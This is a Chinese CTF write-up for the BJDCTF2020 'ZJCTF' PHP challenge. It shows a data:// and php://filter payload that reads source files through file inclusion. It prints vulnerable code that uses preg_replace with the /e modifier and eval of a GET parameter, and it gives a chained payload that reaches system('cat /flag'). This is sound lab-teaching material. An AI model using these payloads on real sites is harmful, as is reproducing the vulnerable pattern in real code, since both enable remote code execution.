[BJDCTF2020] ZJCTF,不过如此

发布于 2021-08-06  64 次阅读


知识点

preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead
这个修饰符的意思 就是让 正则替换的 时候 替换规则 支持 php 代码
参考文章:https://xz.aliyun.com/t/2557

解题

image-20201215211837418

分析代码,ge传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与”I have a dream”字符串相匹配,才能执行下面的文件包含$file参数。看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议

构造payload

index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

读取到next.php文件的内容

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里存在 /e 也就是 preg_replace 远程命令执行漏洞。

思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。
俄罗斯套娃。

因此 构造 payload

next.php?\S*=${getFlag()}&cmd=system('cat /flag');